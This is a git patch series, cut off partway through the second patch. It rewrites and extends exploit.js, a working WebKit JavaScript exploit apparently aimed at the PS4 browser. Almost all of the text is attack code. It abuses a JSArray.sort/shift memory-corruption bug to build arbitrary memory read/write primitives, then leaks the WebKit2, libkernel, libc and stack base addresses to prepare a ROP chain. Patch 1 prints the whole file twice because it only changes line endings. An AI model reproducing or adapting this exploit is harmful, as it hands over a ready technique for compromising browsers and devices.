From 60d9870e6764e93eba31067519b64bfc90b412e8 Mon Sep 17 00:00:00 2001 From: hitodama Date: Mon, 2 Oct 2017 17:45:41 +0200 Subject: [PATCH 1/3] Change line encoding to LF --- local/js/exploit.js | 1206 +++++++++++++++++++++---------------------- 1 file changed, 603 insertions(+), 603 deletions(-) diff --git a/local/js/exploit.js b/local/js/exploit.js index 1a3523a..2389609 100644 --- a/local/js/exploit.js +++ b/local/js/exploit.js @@ -1,603 +1,603 @@ -// module bases for gadgets -var LIBKERNEL = 1; -var LIBC = 2; -var LIBSYSMODULE = 3; -var SCENET = 4; -var SCENETCTL = 5; -var SCEIPMI = 6; -var SCEMBUS = 7; -var SCEREGMGR = 8; -var SCERTC = 9; -var SCEPAD = 10; -var SCEVIDEOOUT = 11; -var SCEPIGLET = 12; -var SCEORBISCOMPAT = 13; -var WEBKIT2 = 14; -var SCESYSCORE = 15; -var SCESSL = 16; -var SCEVIDEOCORESERVICE = 17; -var SCESYSTEMSERVICE = 18; -var SCECOMPOSITEEXT = 19; - -var errno = [ - "OK", - "Operation not permitted", - "No such file or directory", - "No such process", - "Interrupted system call", - "I/O error", - "No such device or address", - "Argument list too long", - "Exec format error", - "Bad file number", - "No child processes", - "Try again", - "Out of memory", - "Permission denied", - "Bad address", - "Block device required", - "Device or resource busy", - "File exists", - "Cross-device link", - "No such device", - "Not a directory", - "Is a directory", - "Invalid argument", - "File table overflow", - "Too many open files", - "Not a typewriter", - "Text file busy", - "File too large", - "No space left on device", - "Illegal seek", - "Read-only file system", - "Too many links", - "Broken pipe", - "Math argument out of domain of func", - "Math result not representable" -]; - -// global vars -var _gc, _cnt = 0; - -function exploit() { - try { - // - // Part 1: getting the Uint32Array object address - // - // init vars - window.u32 = new Uint32Array(0x100); - var a1 = [0,1,2,3,u32]; - var a2 = [0,1,2,3,4]; // right after a1 - var a1len = a1.length; - var a2len = a2.length; - var u32len = u32.length; - - // protect local vars from GC // for gdb - if (!_gc) _gc = new Array(); - _gc.push(u32,a1,a2); - - // declare custom compare function - var myCompFunc = function(x, y) { - // check for the last call for last two array items - if(y == 3 && x == u32) { - //logAdd("myCompFunc(u32,3)"); - // shift() is calling during sort(), what causes the - // last array item is written outside the array buffer - a1.shift(); - } - return 0; - } - - // call the vulnerable method - JSArray.sort(...) - a1.sort(myCompFunc); - - // check results: a2.length should be overwritten by a1[4] - var len = a2.length; - //logAdd("a2.length = 0x" + len.toString(16)); - if (len == a2len) { logAdd("error: 1"); return 1; } - - // - // Part 2: creating corrupted JSValue which points to the (u32+0x18) address - // - - // modify our compare function - myCompFunc = function(x,y) { - if (y == 0 && x == 1) { - //logAdd("myCompFunc(1,0)"); - // call shift() again to read the corrupted JSValue from a2.length - // into a1[3] on the next sort loop - a1.length = a1len; - a1.shift(); - // modify JSValue - a2.length = len + 0x18; - } - if (y == 3) { - //logAdd("myCompFunc(x,3)"); - // shift it back to access a1[3] - a1.unshift(0); - } - return 0; - } - - a1.sort(myCompFunc); - - // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) - var c = a2.length; - //logAdd("a2.length = 0x" + c.toString(16)); - if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } - - // - // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) - // - - // generate dummy JS functions - var f, f2, f2offs, f2old, funcs = new Array(30); - c = funcs.length; - for(var i=0; i < c; i++){ - f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); - f.prop2 = 0x12345600 + i; - funcs[i] = f; - } - - // generate JIT-code - for(var i=c-1; i >= 0; i--) { funcs[i](i); } - - // prepare objects for the third sort() call - var mo = {}; - var pd = { set: funcs[0], enumerable:true, configurable:true } - var a3 = [0,1,2,a1[3]]; - - // allocate mo's property storage right after a3's buffer - Object.defineProperty(mo, "prop0", pd); - for(var i=1; i < 5; i++){ - mo["prop"+i] = i; - } - - // protect from GC - _gc.push(a3,mo,funcs); - - // use sort-n-shift technique again - myCompFunc = function(x,y) - { - // check for the last call for two last array items - if (y == 2) { - //logAdd("myCompFunc(a3[3],2)"); - // a3[3] will be written over the mo.prop0 object - a3.shift(); - } - return 0; - } - - // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 - a3.sort(myCompFunc); - - // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. - // we should put some valid pointers into GetterSetter - u32.prop1 = u32; // GetterSetter.m_structure - u32.prop2 = 8; // 8 = JSType.GetterSetterType - u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() - - // clear corrupted JSValue - a1[3] = 0; a3[3] = 0; - - // overwrite u32.m_impl by some JSFunction object - f = funcs[c-5]; - pd.set = f; - Object.defineProperty(mo, "prop0", pd); - - // check results: u32.length is taken from f's internals now - //logAdd("u32.length = 0x" + u32.length.toString(16)); - if (u32.length == u32len) { logAdd("error: 3"); return 3; } - - // - // Part 4: getting the JIT-code memory address - // - - // declare aux functions - var setU64 = function(offs, val) { - u32[offs] = val % 0x100000000; - u32[offs+1] = val / 0x100000000; - } - var setU32 = function(offs, val) { - u32[offs] = val; - } - var setU16 = function(offs, val) { - setU8(offs, val % 256); - setU8(offs + 1, val / 256); - } - var setU8 = function(offs, val) { - u32[offs >>> 2] = (u32[offs >>> 2] & ~(0xFF << ((offs % 4) * 8))) | (val << ((offs % 4) * 8)); - } - - var getU64 = function(offs) { - return u32[offs] + u32[offs+1] * 0x100000000; - } - var getU32 = function(offs) { - return u32[offs]; - } - var getU8 = function(offs) { - return (u32[offs >>> 2] >> ((offs % 4) * 8)) & 0xff; - } - var getObjAddr = function(obj) { - // write obj into u32 data - pd.set.prop2 = obj; - // read obj address from u32 - return getU64(2); - } - - window.va2ea = function(addr) { - return addr - u32base; - } - window.va2o = function(addr) { - return va2ea(addr) >>> 2; - } - - // will not modify u32base - - window.read32 = function(addr) { - return u32[va2o(addr)]; - } - window.write32 = function(addr, val) { - u32[va2o(addr)] = val & 0xffffffff; - } - window.read64 = function(addr) { - return getU64(va2o(addr)); - } - window.write64 = function(addr, val) { - return setU64(va2o(addr), val); - } - - window.readString = function(addr) { - var s = ''; - var ea = va2ea(addr); - var i = ea / 4; - var j = ea % 4; - while (1) { - var c = (u32[i] >>> (8 * j)) & 0xff; - if (c == 0) return s; - s += String.fromCharCode(c); - j = (j + 1) % 4; - if (j == 0) { i += 1; } - } - return s; - } - - window.writeString = function(addr, val) { - var ea = va2ea(addr); - var i = ea / 4; - var j = ea % 4; - for (var x = 0; x <= val.length; x++) { - var c = (x == val.length) ? 0 : val.charCodeAt(x); - var w = u32[i]; - w = (w & ~(0xff << (8 * j))) | (c << (8 * j)); - u32[i] = w; - j = (j + 1) % 4; - if (j == 0) { i += 1; } - } - return addr + val.length; - } - - window.int2hex = function(value, digits) { - value = value.toString(16); - while (value.length < digits) { - value = "0" + value; - } - - return value; - } - - window.hexDump = function(addr, length) { - var b = '

'; - var tmp = ''; - var ea = va2ea(addr); - var i = ea / 4; - var j = ea % 4; - - b += int2hex(addr, 8); - b += ": "; - - for (z = 1; z <= length; z++) { - var ch = (u32[i] >>> (8 * j)) & 0xff; - b += int2hex(ch, 2); - if(( ch > 31) && (ch < 127)){ - tmp += String.fromCharCode(ch); - } - else { - tmp += "." - } - - j = (j + 1) % 4; - if (j == 0) { i += 1; } - - - //if(z % 4 == 0) { - b += " "; - //} - - //if(z % 8 == 0) { - // b += " "; - //} - - if(z % 16 == 0) { - b += " | " + tmp + "
"; - tmp = ""; - if (z != length) { - b += int2hex(addr+z, 8) + ": "; - } - } - } - return b + "

" - } - - // size multiples of 8 only - window.zeroMemory = function(base, size) { - for(var i = base; i < base + size; i += 8) { - setU64to(i, 0); - } - } - - // convert base to base - window.baseToBase = function(fromBase, toBase, value) { - if(value == "") value = 0; - value = parseInt(value, fromBase); - return Number(value).toString(toBase).toUpperCase(); - } - - // hex escape bytes - window.escapeToHex = function(str) { - var hex = ''; - for(var i = 0; i < str.length; i += 2) { - hex += '\\x' + str[i] + str[i + 1]; - } - - //have to eval so JavasSript processes the string for appending - return eval("ret = \"" + hex + "\""); - } - - // get the memory address of u32 - var u32addr = getObjAddr(u32); - //logAdd("u32 address = 0x" + u32addr.toString(16)); - // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) - var u32base = getObjAddr(pd.set) + 0x20; - var u32base0 = u32base; - //logAdd("u32 base = 0x" + u32base.toString(16)); - - // on x64 platforms we can't just set u32.length to the huge number - // for ability to access arbitrary addresses. We should be able to - // modify the u32's buffer pointer on-the-fly. - window.setBase = function(addr){ - if (!f2) { - // search for another JSFunction near "f" - for(var i=0x12; i < 0x80; i+=0x10){ - if ((u32[i] >>> 8) == 0x123456) { - f2 = funcs[u32[i] & 0xFF]; - f2offs = i - 6; - f2old = getU64(f2offs); - break; - } - } - logAdd("f2offs = 0x" + f2offs); - if (!f2) { return false; } - - } - if (pd.set != f) { - pd.set = f; - Object.defineProperty(mo, "prop0", pd); - u32base = u32base0; - } - if (addr == null) return true; - - // this will be the new value for ((ArrayBufferView)u32).m_baseAddress - setU64(f2offs, addr); - - // overwrite ((JSUint32Array)u32).m_impl again - pd.set = f2; - Object.defineProperty(mo, "prop0", pd); - - u32base = addr; - //logAdd("u32 new base = 0x" + u32base.toString(16)); - - return true; - } - - // read/write the 64-bit value from the custom address - window.getU64from = function(addr) { - if (addr < u32base || addr >= u32base + u32len*4) { - if (!setBase(addr)) return 0; - } - return getU64((addr - u32base) >>> 2); - } - - window.getU32from = function(addr) { - if (addr < u32base || addr >= u32base + u32len*4) { - if (!setBase(addr)) return 0; - } - return getU32((addr - u32base) >>> 2); - } - - window.getU8from = function(addr) { - if (addr < u32base || addr >= u32base + u32len*4) { - if (!setBase(addr)) return 0; - } - return getU8(addr - u32base); - } - - window.setU64to = function(addr,val) { - if (addr < u32base || addr >= u32base + u32len*4) { - if (!setBase(addr)) return 0; - } - return setU64((addr - u32base) >>> 2, val); - } - window.setU32to = function(addr,val) { - if (addr < u32base || addr >= u32base + u32len*4) { - if (!setBase(addr)) return 0; - } - return setU32((addr - u32base) >>> 2, val); - } - window.setU16to = function(addr,val) { - if (addr < u32base || addr >= u32base + u32len*4) { - if (!setBase(addr)) return 0; - } - return setU16((addr - u32base), val); - } - window.setU8to = function(addr,val) { - if (addr < u32base || addr >= u32base + u32len*4) { - if (!setBase(addr)) return 0; - } - return setU8((addr - u32base), val); - } - window.setU64into = function(addr, value) { - var low = value %0x100000000; - var high = value/0x100000000; - setBase(addr) - u32[0] = parseInt(low.toString(16),16); - u32[1] = parseInt(high.toString(16),16); - } - window.setU32into = function(addr, value) { - setBase(addr); - u32[0] = value; - } - - - //logAdd("u32 size: 0x" + u32.length.toString(16)); - - // Get the object table from the origianl heap address - // +0x20 is a pointer we can use for some object - - var xx = getU64from(u32base0+0x20); - var yy=0; - //logAdd("verify base: 0x"+xx.toString(16) ); - - // - // This is the only part you need to modify - // - // - // - // First, the heap array has a pointer into a function - // in WebKit2. The one I'm using is always at +0x20 from - // the original base at +0x20. - - // 1.70 PS4 = -0x30bf0 is the start of webkit - - // +0x25C4000 = some data - // +0x2414000 = import table - // (import table +0x20) = modules table - // If this crashes, try it 2-4 more times. It usually will work - - // target addr for the rop chain - - var chain_addr = u32base0 + 0x80000; - var chain_data = u32base0 + 0x88000; - - // xx will be the base address of WebKit2 - - xx = (getU64from(xx+0x20)-0x30bf0); - var wk_base = xx; - logAdd("WebKit2 base address = 0x" + xx.toString(16)); - xx += 0x2414000; // Get to the import table - setBase(xx); - - xx = getU64from(xx+0x20); // Get to the module table - // Future use: data area somewhere around 0x200500000 - - //get libSceLibcinternal base - var libc_int_base = getU64from(xx+0x1628); //1.76 - - //logAdd("Dump Address is 0x" + xx.toString(16)); - - var module_list = xx + 0xae0 + 0x690; - - // module list is a doubly linked list, where the last node has self->next == 0 - // and the first node has self->prev == prev->next && self->prev->prev == last - // The list head is seperate from the list and is a kind of "fake" node - var modinfo_ptr = module_list; - module_infos = {}; - var n = 0; - - setBase(module_list); - while (modinfo_ptr != 0) { - var name = readString(modinfo_ptr + 0x18); - if (name == '') { break; } - var rdata_base = read64(modinfo_ptr + 0x170); - var rdata_size = read32(modinfo_ptr + 0x178); - var import_base = read64(modinfo_ptr + 0x180); - var import_size = read32(modinfo_ptr + 0x188); - if (rdata_base == 0 || - rdata_size == 0 || - import_base == 0 || - import_size == 0) { - logAdd('jit kicked in? skipping...'); - } else { - module_infos[n] = { - name : name, - image_base : rdata_base, - image_size : rdata_size + import_size, - image_end : rdata_base + rdata_size + import_size, - text_start : rdata_base, - text_size : rdata_size, - text_end : rdata_base + rdata_size, - idata_start : import_base, - idata_size : import_size, - idata_end : import_base + import_size, - }; - } - // somehow adding the constant instead of reading the value - // tends to avoid the jit problem - //modinfo_ptr = read64(modinfo_ptr + 0); - modinfo_ptr += 0x1c0; - n++; - } - - var libsysmodule_base = getU64from(xx+0x17E8); - - //get libkernel base - //xx = getU64from(xx+0xdd8); //1.71 - xx = getU64from(xx+0x1468); //1.76 - //var libkernel_base = xx; - - setBase(xx); - - //get stack base - //xx = getU64from(xx+0x3D890); //1.76 webkit2 stack? - xx = getU64from(xx+0x5B278); //1.76 webprocess stack - //yy = getU64from(xx+0x5AA70); //1.71 - window.stack_base = xx - 0x4000; - //yy = getU64from(xx+0x5AA70); - - - // Defining modules - libkernel = module_infos[LIBKERNEL]; - libSceLibcInternal = module_infos[LIBC]; - libSceSysmodule = module_infos[LIBSYSMODULE]; - libSceNet = module_infos[SCENET]; - libSceNetCtl = module_infos[SCENETCTL]; - libSceIpmi = module_infos[SCEIPMI]; - libSceMbus = module_infos[SCEMBUS]; - libSceRegMgr = module_infos[SCEREGMGR]; - libSceRtc = module_infos[SCERTC]; - libScePad = module_infos[SCEPAD]; - libSceVideoOut = module_infos[SCEVIDEOOUT]; - libScePigletv2VSH = module_infos[SCEPIGLET]; - libSceOrbisCompat = module_infos[SCEORBISCOMPAT]; - libSceWebKit2 = module_infos[WEBKIT2]; - libSceSysCore = module_infos[SCESYSCORE]; - libSceSsl = module_infos[SCESSL]; - libSceVideoCoreServerInterface = module_infos[SCEVIDEOCORESERVICE]; - libSceSystemService = module_infos[SCESYSTEMSERVICE]; - libSceCompositeExt = module_infos[SCECOMPOSITEEXT]; - - logAdd("libkernel Base = 0x" + libkernel.image_base.toString(16)); - logAdd("libSceLibcinternal Base = 0x" + libSceLibcInternal.image_base.toString(16)); - logAdd("Stack Base = 0x" + stack_base.toString(16)); - - logAdd("Refresh this page between calls to avoid instability and crashes. Enjoy..."); - - window.return_va = 0x2b38; //1.76 - } - catch(e) { - logAdd(e); - } - - return 0; -} +// module bases for gadgets +var LIBKERNEL = 1; +var LIBC = 2; +var LIBSYSMODULE = 3; +var SCENET = 4; +var SCENETCTL = 5; +var SCEIPMI = 6; +var SCEMBUS = 7; +var SCEREGMGR = 8; +var SCERTC = 9; +var SCEPAD = 10; +var SCEVIDEOOUT = 11; +var SCEPIGLET = 12; +var SCEORBISCOMPAT = 13; +var WEBKIT2 = 14; +var SCESYSCORE = 15; +var SCESSL = 16; +var SCEVIDEOCORESERVICE = 17; +var SCESYSTEMSERVICE = 18; +var SCECOMPOSITEEXT = 19; + +var errno = [ + "OK", + "Operation not permitted", + "No such file or directory", + "No such process", + "Interrupted system call", + "I/O error", + "No such device or address", + "Argument list too long", + "Exec format error", + "Bad file number", + "No child processes", + "Try again", + "Out of memory", + "Permission denied", + "Bad address", + "Block device required", + "Device or resource busy", + "File exists", + "Cross-device link", + "No such device", + "Not a directory", + "Is a directory", + "Invalid argument", + "File table overflow", + "Too many open files", + "Not a typewriter", + "Text file busy", + "File too large", + "No space left on device", + "Illegal seek", + "Read-only file system", + "Too many links", + "Broken pipe", + "Math argument out of domain of func", + "Math result not representable" +]; + +// global vars +var _gc, _cnt = 0; + +function exploit() { + try { + // + // Part 1: getting the Uint32Array object address + // + // init vars + window.u32 = new Uint32Array(0x100); + var a1 = [0,1,2,3,u32]; + var a2 = [0,1,2,3,4]; // right after a1 + var a1len = a1.length; + var a2len = a2.length; + var u32len = u32.length; + + // protect local vars from GC // for gdb + if (!_gc) _gc = new Array(); + _gc.push(u32,a1,a2); + + // declare custom compare function + var myCompFunc = function(x, y) { + // check for the last call for last two array items + if(y == 3 && x == u32) { + //logAdd("myCompFunc(u32,3)"); + // shift() is calling during sort(), what causes the + // last array item is written outside the array buffer + a1.shift(); + } + return 0; + } + + // call the vulnerable method - JSArray.sort(...) + a1.sort(myCompFunc); + + // check results: a2.length should be overwritten by a1[4] + var len = a2.length; + //logAdd("a2.length = 0x" + len.toString(16)); + if (len == a2len) { logAdd("error: 1"); return 1; } + + // + // Part 2: creating corrupted JSValue which points to the (u32+0x18) address + // + + // modify our compare function + myCompFunc = function(x,y) { + if (y == 0 && x == 1) { + //logAdd("myCompFunc(1,0)"); + // call shift() again to read the corrupted JSValue from a2.length + // into a1[3] on the next sort loop + a1.length = a1len; + a1.shift(); + // modify JSValue + a2.length = len + 0x18; + } + if (y == 3) { + //logAdd("myCompFunc(x,3)"); + // shift it back to access a1[3] + a1.unshift(0); + } + return 0; + } + + a1.sort(myCompFunc); + + // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) + var c = a2.length; + //logAdd("a2.length = 0x" + c.toString(16)); + if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } + + // + // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) + // + + // generate dummy JS functions + var f, f2, f2offs, f2old, funcs = new Array(30); + c = funcs.length; + for(var i=0; i < c; i++){ + f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); + f.prop2 = 0x12345600 + i; + funcs[i] = f; + } + + // generate JIT-code + for(var i=c-1; i >= 0; i--) { funcs[i](i); } + + // prepare objects for the third sort() call + var mo = {}; + var pd = { set: funcs[0], enumerable:true, configurable:true } + var a3 = [0,1,2,a1[3]]; + + // allocate mo's property storage right after a3's buffer + Object.defineProperty(mo, "prop0", pd); + for(var i=1; i < 5; i++){ + mo["prop"+i] = i; + } + + // protect from GC + _gc.push(a3,mo,funcs); + + // use sort-n-shift technique again + myCompFunc = function(x,y) + { + // check for the last call for two last array items + if (y == 2) { + //logAdd("myCompFunc(a3[3],2)"); + // a3[3] will be written over the mo.prop0 object + a3.shift(); + } + return 0; + } + + // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 + a3.sort(myCompFunc); + + // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. + // we should put some valid pointers into GetterSetter + u32.prop1 = u32; // GetterSetter.m_structure + u32.prop2 = 8; // 8 = JSType.GetterSetterType + u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() + + // clear corrupted JSValue + a1[3] = 0; a3[3] = 0; + + // overwrite u32.m_impl by some JSFunction object + f = funcs[c-5]; + pd.set = f; + Object.defineProperty(mo, "prop0", pd); + + // check results: u32.length is taken from f's internals now + //logAdd("u32.length = 0x" + u32.length.toString(16)); + if (u32.length == u32len) { logAdd("error: 3"); return 3; } + + // + // Part 4: getting the JIT-code memory address + // + + // declare aux functions + var setU64 = function(offs, val) { + u32[offs] = val % 0x100000000; + u32[offs+1] = val / 0x100000000; + } + var setU32 = function(offs, val) { + u32[offs] = val; + } + var setU16 = function(offs, val) { + setU8(offs, val % 256); + setU8(offs + 1, val / 256); + } + var setU8 = function(offs, val) { + u32[offs >>> 2] = (u32[offs >>> 2] & ~(0xFF << ((offs % 4) * 8))) | (val << ((offs % 4) * 8)); + } + + var getU64 = function(offs) { + return u32[offs] + u32[offs+1] * 0x100000000; + } + var getU32 = function(offs) { + return u32[offs]; + } + var getU8 = function(offs) { + return (u32[offs >>> 2] >> ((offs % 4) * 8)) & 0xff; + } + var getObjAddr = function(obj) { + // write obj into u32 data + pd.set.prop2 = obj; + // read obj address from u32 + return getU64(2); + } + + window.va2ea = function(addr) { + return addr - u32base; + } + window.va2o = function(addr) { + return va2ea(addr) >>> 2; + } + + // will not modify u32base + + window.read32 = function(addr) { + return u32[va2o(addr)]; + } + window.write32 = function(addr, val) { + u32[va2o(addr)] = val & 0xffffffff; + } + window.read64 = function(addr) { + return getU64(va2o(addr)); + } + window.write64 = function(addr, val) { + return setU64(va2o(addr), val); + } + + window.readString = function(addr) { + var s = ''; + var ea = va2ea(addr); + var i = ea / 4; + var j = ea % 4; + while (1) { + var c = (u32[i] >>> (8 * j)) & 0xff; + if (c == 0) return s; + s += String.fromCharCode(c); + j = (j + 1) % 4; + if (j == 0) { i += 1; } + } + return s; + } + + window.writeString = function(addr, val) { + var ea = va2ea(addr); + var i = ea / 4; + var j = ea % 4; + for (var x = 0; x <= val.length; x++) { + var c = (x == val.length) ? 0 : val.charCodeAt(x); + var w = u32[i]; + w = (w & ~(0xff << (8 * j))) | (c << (8 * j)); + u32[i] = w; + j = (j + 1) % 4; + if (j == 0) { i += 1; } + } + return addr + val.length; + } + + window.int2hex = function(value, digits) { + value = value.toString(16); + while (value.length < digits) { + value = "0" + value; + } + + return value; + } + + window.hexDump = function(addr, length) { + var b = '

'; + var tmp = ''; + var ea = va2ea(addr); + var i = ea / 4; + var j = ea % 4; + + b += int2hex(addr, 8); + b += ": "; + + for (z = 1; z <= length; z++) { + var ch = (u32[i] >>> (8 * j)) & 0xff; + b += int2hex(ch, 2); + if(( ch > 31) && (ch < 127)){ + tmp += String.fromCharCode(ch); + } + else { + tmp += "." + } + + j = (j + 1) % 4; + if (j == 0) { i += 1; } + + + //if(z % 4 == 0) { + b += " "; + //} + + //if(z % 8 == 0) { + // b += " "; + //} + + if(z % 16 == 0) { + b += " | " + tmp + "
"; + tmp = ""; + if (z != length) { + b += int2hex(addr+z, 8) + ": "; + } + } + } + return b + "

" + } + + // size multiples of 8 only + window.zeroMemory = function(base, size) { + for(var i = base; i < base + size; i += 8) { + setU64to(i, 0); + } + } + + // convert base to base + window.baseToBase = function(fromBase, toBase, value) { + if(value == "") value = 0; + value = parseInt(value, fromBase); + return Number(value).toString(toBase).toUpperCase(); + } + + // hex escape bytes + window.escapeToHex = function(str) { + var hex = ''; + for(var i = 0; i < str.length; i += 2) { + hex += '\\x' + str[i] + str[i + 1]; + } + + //have to eval so JavasSript processes the string for appending + return eval("ret = \"" + hex + "\""); + } + + // get the memory address of u32 + var u32addr = getObjAddr(u32); + //logAdd("u32 address = 0x" + u32addr.toString(16)); + // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) + var u32base = getObjAddr(pd.set) + 0x20; + var u32base0 = u32base; + //logAdd("u32 base = 0x" + u32base.toString(16)); + + // on x64 platforms we can't just set u32.length to the huge number + // for ability to access arbitrary addresses. We should be able to + // modify the u32's buffer pointer on-the-fly. + window.setBase = function(addr){ + if (!f2) { + // search for another JSFunction near "f" + for(var i=0x12; i < 0x80; i+=0x10){ + if ((u32[i] >>> 8) == 0x123456) { + f2 = funcs[u32[i] & 0xFF]; + f2offs = i - 6; + f2old = getU64(f2offs); + break; + } + } + logAdd("f2offs = 0x" + f2offs); + if (!f2) { return false; } + + } + if (pd.set != f) { + pd.set = f; + Object.defineProperty(mo, "prop0", pd); + u32base = u32base0; + } + if (addr == null) return true; + + // this will be the new value for ((ArrayBufferView)u32).m_baseAddress + setU64(f2offs, addr); + + // overwrite ((JSUint32Array)u32).m_impl again + pd.set = f2; + Object.defineProperty(mo, "prop0", pd); + + u32base = addr; + //logAdd("u32 new base = 0x" + u32base.toString(16)); + + return true; + } + + // read/write the 64-bit value from the custom address + window.getU64from = function(addr) { + if (addr < u32base || addr >= u32base + u32len*4) { + if (!setBase(addr)) return 0; + } + return getU64((addr - u32base) >>> 2); + } + + window.getU32from = function(addr) { + if (addr < u32base || addr >= u32base + u32len*4) { + if (!setBase(addr)) return 0; + } + return getU32((addr - u32base) >>> 2); + } + + window.getU8from = function(addr) { + if (addr < u32base || addr >= u32base + u32len*4) { + if (!setBase(addr)) return 0; + } + return getU8(addr - u32base); + } + + window.setU64to = function(addr,val) { + if (addr < u32base || addr >= u32base + u32len*4) { + if (!setBase(addr)) return 0; + } + return setU64((addr - u32base) >>> 2, val); + } + window.setU32to = function(addr,val) { + if (addr < u32base || addr >= u32base + u32len*4) { + if (!setBase(addr)) return 0; + } + return setU32((addr - u32base) >>> 2, val); + } + window.setU16to = function(addr,val) { + if (addr < u32base || addr >= u32base + u32len*4) { + if (!setBase(addr)) return 0; + } + return setU16((addr - u32base), val); + } + window.setU8to = function(addr,val) { + if (addr < u32base || addr >= u32base + u32len*4) { + if (!setBase(addr)) return 0; + } + return setU8((addr - u32base), val); + } + window.setU64into = function(addr, value) { + var low = value %0x100000000; + var high = value/0x100000000; + setBase(addr) + u32[0] = parseInt(low.toString(16),16); + u32[1] = parseInt(high.toString(16),16); + } + window.setU32into = function(addr, value) { + setBase(addr); + u32[0] = value; + } + + + //logAdd("u32 size: 0x" + u32.length.toString(16)); + + // Get the object table from the origianl heap address + // +0x20 is a pointer we can use for some object + + var xx = getU64from(u32base0+0x20); + var yy=0; + //logAdd("verify base: 0x"+xx.toString(16) ); + + // + // This is the only part you need to modify + // + // + // + // First, the heap array has a pointer into a function + // in WebKit2. The one I'm using is always at +0x20 from + // the original base at +0x20. + + // 1.70 PS4 = -0x30bf0 is the start of webkit + + // +0x25C4000 = some data + // +0x2414000 = import table + // (import table +0x20) = modules table + // If this crashes, try it 2-4 more times. It usually will work + + // target addr for the rop chain + + var chain_addr = u32base0 + 0x80000; + var chain_data = u32base0 + 0x88000; + + // xx will be the base address of WebKit2 + + xx = (getU64from(xx+0x20)-0x30bf0); + var wk_base = xx; + logAdd("WebKit2 base address = 0x" + xx.toString(16)); + xx += 0x2414000; // Get to the import table + setBase(xx); + + xx = getU64from(xx+0x20); // Get to the module table + // Future use: data area somewhere around 0x200500000 + + //get libSceLibcinternal base + var libc_int_base = getU64from(xx+0x1628); //1.76 + + //logAdd("Dump Address is 0x" + xx.toString(16)); + + var module_list = xx + 0xae0 + 0x690; + + // module list is a doubly linked list, where the last node has self->next == 0 + // and the first node has self->prev == prev->next && self->prev->prev == last + // The list head is seperate from the list and is a kind of "fake" node + var modinfo_ptr = module_list; + module_infos = {}; + var n = 0; + + setBase(module_list); + while (modinfo_ptr != 0) { + var name = readString(modinfo_ptr + 0x18); + if (name == '') { break; } + var rdata_base = read64(modinfo_ptr + 0x170); + var rdata_size = read32(modinfo_ptr + 0x178); + var import_base = read64(modinfo_ptr + 0x180); + var import_size = read32(modinfo_ptr + 0x188); + if (rdata_base == 0 || + rdata_size == 0 || + import_base == 0 || + import_size == 0) { + logAdd('jit kicked in? skipping...'); + } else { + module_infos[n] = { + name : name, + image_base : rdata_base, + image_size : rdata_size + import_size, + image_end : rdata_base + rdata_size + import_size, + text_start : rdata_base, + text_size : rdata_size, + text_end : rdata_base + rdata_size, + idata_start : import_base, + idata_size : import_size, + idata_end : import_base + import_size, + }; + } + // somehow adding the constant instead of reading the value + // tends to avoid the jit problem + //modinfo_ptr = read64(modinfo_ptr + 0); + modinfo_ptr += 0x1c0; + n++; + } + + var libsysmodule_base = getU64from(xx+0x17E8); + + //get libkernel base + //xx = getU64from(xx+0xdd8); //1.71 + xx = getU64from(xx+0x1468); //1.76 + //var libkernel_base = xx; + + setBase(xx); + + //get stack base + //xx = getU64from(xx+0x3D890); //1.76 webkit2 stack? + xx = getU64from(xx+0x5B278); //1.76 webprocess stack + //yy = getU64from(xx+0x5AA70); //1.71 + window.stack_base = xx - 0x4000; + //yy = getU64from(xx+0x5AA70); + + + // Defining modules + libkernel = module_infos[LIBKERNEL]; + libSceLibcInternal = module_infos[LIBC]; + libSceSysmodule = module_infos[LIBSYSMODULE]; + libSceNet = module_infos[SCENET]; + libSceNetCtl = module_infos[SCENETCTL]; + libSceIpmi = module_infos[SCEIPMI]; + libSceMbus = module_infos[SCEMBUS]; + libSceRegMgr = module_infos[SCEREGMGR]; + libSceRtc = module_infos[SCERTC]; + libScePad = module_infos[SCEPAD]; + libSceVideoOut = module_infos[SCEVIDEOOUT]; + libScePigletv2VSH = module_infos[SCEPIGLET]; + libSceOrbisCompat = module_infos[SCEORBISCOMPAT]; + libSceWebKit2 = module_infos[WEBKIT2]; + libSceSysCore = module_infos[SCESYSCORE]; + libSceSsl = module_infos[SCESSL]; + libSceVideoCoreServerInterface = module_infos[SCEVIDEOCORESERVICE]; + libSceSystemService = module_infos[SCESYSTEMSERVICE]; + libSceCompositeExt = module_infos[SCECOMPOSITEEXT]; + + logAdd("libkernel Base = 0x" + libkernel.image_base.toString(16)); + logAdd("libSceLibcinternal Base = 0x" + libSceLibcInternal.image_base.toString(16)); + logAdd("Stack Base = 0x" + stack_base.toString(16)); + + logAdd("Refresh this page between calls to avoid instability and crashes. Enjoy..."); + + window.return_va = 0x2b38; //1.76 + } + catch(e) { + logAdd(e); + } + + return 0; +} From f9eed29627385d4337f8d4014e70e014b47d2fb6 Mon Sep 17 00:00:00 2001 From: hitodama Date: Mon, 2 Oct 2017 18:16:52 +0200 Subject: [PATCH 2/3] Add v1.01 webkit exploit --- local/index.html | 2 +- local/js/exploit.js | 100 ++++++++++++++++++++++++++++++++------------ 2 files changed, 74 insertions(+), 28 deletions(-) diff --git a/local/index.html b/local/index.html index a43b82d..9980e42 100644 --- a/local/index.html +++ b/local/index.html @@ -111,7 +111,7 @@ } } - exploit(); + exploit(version); var chain = new rop(version) var size = 0x100000; diff --git a/local/js/exploit.js b/local/js/exploit.js index 2389609..05787cb 100644 --- a/local/js/exploit.js +++ b/local/js/exploit.js @@ -60,7 +60,7 @@ var errno = [ // global vars var _gc, _cnt = 0; -function exploit() { +function exploit(version) { try { // // Part 